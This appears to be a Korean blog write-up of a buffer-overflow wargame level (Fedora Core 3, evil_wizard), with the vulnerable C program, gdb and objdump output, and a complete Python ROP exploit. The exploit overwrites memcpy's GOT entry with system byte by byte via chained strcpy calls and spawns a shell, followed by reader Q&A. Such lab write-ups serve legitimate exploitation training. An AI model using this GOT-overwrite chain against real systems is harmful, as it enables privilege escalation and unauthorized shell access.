검색결과 리스트
글
/* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting */ // magic potion for you void pop_pop_ret(void) { asm("pop %eax"); asm("pop %eax"); asm("ret"); } int main(int argc, char *argv[]) { char buffer[256]; char saved_sfp[4]; int length; if(argc < 2){ printf("argv error\n"); exit(0); } // for disturbance RET sleding length = strlen(argv[1]); // healing potion for you setreuid(geteuid(), geteuid()); setregid(getegid(), getegid()); // save sfp memcpy(saved_sfp, buffer+264, 4); // overflow!! strcpy(buffer, argv[1]); // restore sfp memcpy(buffer+264, saved_sfp, 4); // disturbance RET sleding memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length)); printf("%s\n", buffer); }
evil_wizard.c
이번엔 드디어 pop-pop-ret이 있다.
최근 컴파일러에는 pop-pop-ret이 꼭 있다고 한다.
시스템이 구버전이라, 이번 케이스에서는 pop-pop-ret을 강제로 넣어줬다.
hell_fire로 넘어가는 단계에서.. pop-pop-ret없이는 도저히 못하겠어서 그냥 다른 블로그를 좀 베꼈다...
원래 의도는 fgets를 이용해서 custom stack을 만드는게 아닐까 하는데,
자꾸 null이 들어가서 스택을 못만들겠다.. 무슨 방법이 있을텐데 여튼 모르겠어서 그단계는 스킵했다.
여튼 이번엔 fgets가 없는대신 strcpy와 pop-pop-ret이 주어졌다.
공격순서는
1. strcpy로 memcpy의 GOT를 system의 주소값으로 덮어쓴다.
2. strcpy로 bss영역에 "/bin/sh"를 써넣는다.
3. system("/bin/sh")를 실행시킨다.
pop-pop-ret의 주소 알아내기
$ objdump -d evil_wizard | grep pop -A 1 ... 804854f: 58 pop %eax 8048550: 58 pop %eax 8048551: c3 ret ...
memcpy got의 주소와 system의 주소 알아내기
$ objdump -h evil_wizard | grep got 19 .got 00000004 08049868 08049868 00000868 2**2 20 .got.plt 00000038 0804986c 0804986c 0000086c 2**2 $ gdb -q evil_wizard (gdb) b *main+319 (gdb) r 1 (gdb) x/10x 0x804986c 0x804986c <_GLOBAL_OFFSET_TABLE_>: 0x080497a0 0x007194f8 0x0070e9e0 0x00783d70 0x804987c <_GLOBAL_OFFSET_TABLE_+16>: 0x007d98f0 0x00730d50 0x0075e660 0x007854c0 0x804988c <_GLOBAL_OFFSET_TABLE_+32>: 0x007d9860 0x0804845a (gdb) print memcpy $1 = {<text variable, no debug info>} 0x7854c0 <memcpy> (gdb) x/x 0x8049888 0x8049888 <_GLOBAL_OFFSET_TABLE_+28>: 0x007854c0 (gdb) print system $2 = {<text variable, no debug info>} 0x7507c0 <system> (gdb) print strcpy $2 = {<text variable, no debug info>} 0x783880 <strcpy> (gdb) x/i 0x8048494 0x8048494 <_init+200>: jmp *0x80498a0 (gdb) x/x 0x80498a0 0x80498a0 <_GLOBAL_OFFSET_TABLE_+52>: 0x00783880
memcpy의 got 주소는 0x8049888, system의 주소는0x7507c0, strcpy의 주소는 0x8048494 이다.
또, /bin/sh를 넣기위한 공간을 구한다.
$ objdump -h evil_wizard | grep bss 22 .bss 00000004 080498b0 080498b0 000008b0 2**2 $ gdb -q evil_wizard (gdb) b *main Breakpoint 1 at 0x8048554 (gdb) r 1 Starting program: /home/hell_fire/evil_wizard 1 (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x08048554 in main () (gdb) x/10x 0x080498b0 0x80498b0 <completed.1>: 0x00000000 0x00000000 0x00000000 0x00000000 0x80498c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x80498d0: 0x00000000 0x00000000
/bin/sh은 0x80498c0 정도에 넣도록 하겠다.
그럼 이제, strcpy를 통해 넣어야하니, 필요한 글자들의 위치를 찾아낸다.
찾아내야할 문자들은, \x00,\x75,\x07,\xc0,/,b,i,n,s,h
$ objdump -s evil_wizard | grep 00 ... 8048148 03000000 0f000000 0d000000 07000000 ................ ... $ objdump -s evil_wizard | grep 75 ... 80486f4 0000005b 81c37511 00008d83 20ffffff ...[..u..... ... ... $ objdump -s evil_wizard | grep 07 ... 8048148 03000000 0f000000 0d000000 07000000 ................ ... $ objdump -s evil_wizard | grep c0 ... 8048524 ec08a19c 97040885 c07419b8 00000000 .........t...... ... $ objdump -s evil_wizard | grep / 8048114 2f6c6962 2f6c642d 6c696e75 782e736f /lib/ld-linux.so ... $ objdump -s evil_wizard | grep h ... 804836c 68980408 060d0000 h....... ...
전부 알아냈으니, 이제 exploit
import os import struct def L_E(number): return struct.pack('<I',number) PPR = 0x804854f # pop-pop-ret STRCPY = 0x8048494 MEMCPY = 0x8048434 MEMCPY_GOT = 0x8049888 BINSH = 0x80498C0 payload = 'A'*268 payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(MEMCPY_GOT) payload += L_E(0x8048524+8) # c0 payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(MEMCPY_GOT+1) payload += L_E(0x8048148+12) # 07 payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(MEMCPY_GOT+2) payload += L_E(0x80486f4+6) # 75 payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(MEMCPY_GOT+3) payload += L_E(0x8048148+1) # 00 payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH) payload += L_E(0x8048114) # / payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+1) payload += L_E(0x8048114+3) # b payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+2) payload += L_E(0x8048114+2) # i payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+3) payload += L_E(0x8048114+10) # n payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+4) payload += L_E(0x8048114) # / payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+5) #payload += L_E(0x8048114+14) # s payload += L_E(0x8048780+5) # s payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+6) payload += L_E(0x804836c) # h payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+7) payload += L_E(0x8048148+1) # 00 payload += L_E(MEMCPY) payload += "AAAA" payload += L_E(BINSH) os.system('./evil_wizard '+payload)
$ python exploit.py AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÈñ÷þ”Oˆ,”O‰”OŠú”O‹”O”O”O”O”O”OÅ…”OÆl”OÇ4AAAAÀ˜ sh-3.00$ my-pass euid = 504 get down like that
'Computer Security > WarGame' 카테고리의 다른 글
[BOF원정대/Fedora4] cruel -> enigma (5) | 2013.05.31 |
---|---|
[BOF원정대/Fedora4] dark_stone -> cruel (0) | 2013.05.09 |
[BOF원정대/Fedora3] evil_wizard -> dark_stone (4) | 2013.05.09 |
[BOF원정대/Fedora3] hell_fire -> evil_wizard (10) | 2013.05.07 |
[BOF원정대/Fedora3] iron_golem -> dark_eyes (0) | 2012.12.22 |
[BOF원정대/Fedora3] gate -> iron_golem (2) | 2012.12.22 |
친절한 답변 감사합니다. 하나만 질문 더하겠습니다.
그 strcpy로 왜 memory got에다가 한바이트 씩 주소를 복사하나요?
그냥 통채로 주소 복사해버리면 안되나요?
주소가 있다면 통째로 가져오겠지만, 없어서 부분부분 가져왔었습니다
커리큘럼에 관해서도 질문하나 드리고 싶은데 커널공부는 언제 공부해야 적당할까요
커널공부 저는 아직 해본적 없긴 한데, 언제든지 필요하다고 느끼시면 바로바로 하시는게 좋다고 생각합니다 ㅋㅋ
해킹이 워낙 전범위를 알고있어야하다보니까, 딱히 공부의 시기같은건 상관 없는것 같아요.
왜 bss영역에다 복사해주나요?
address가 고정되어있고, read와 write가 가능한 공간중 적절한곳을 그냥 고른것입니다.
궁금한 부분이 있는데요
마지막 공격시에
MEMCPY = 0x8048434 이렇게 된 주소는 memcpy 원래주소 0x7854c0가 되야 되는거 아닌가요
원래 주소는 ASLR때문에 항상 바뀌기때문에 사용할수 없구요,
고정주소인 plt 주소를 사용해야합니다
아 넵 감사합니다^^
혹시 이게 rop 인가요?
궁굼한게 많은데 혹시 네이트온 하시면 연락처좀 알려주시면 감사하겠습니다.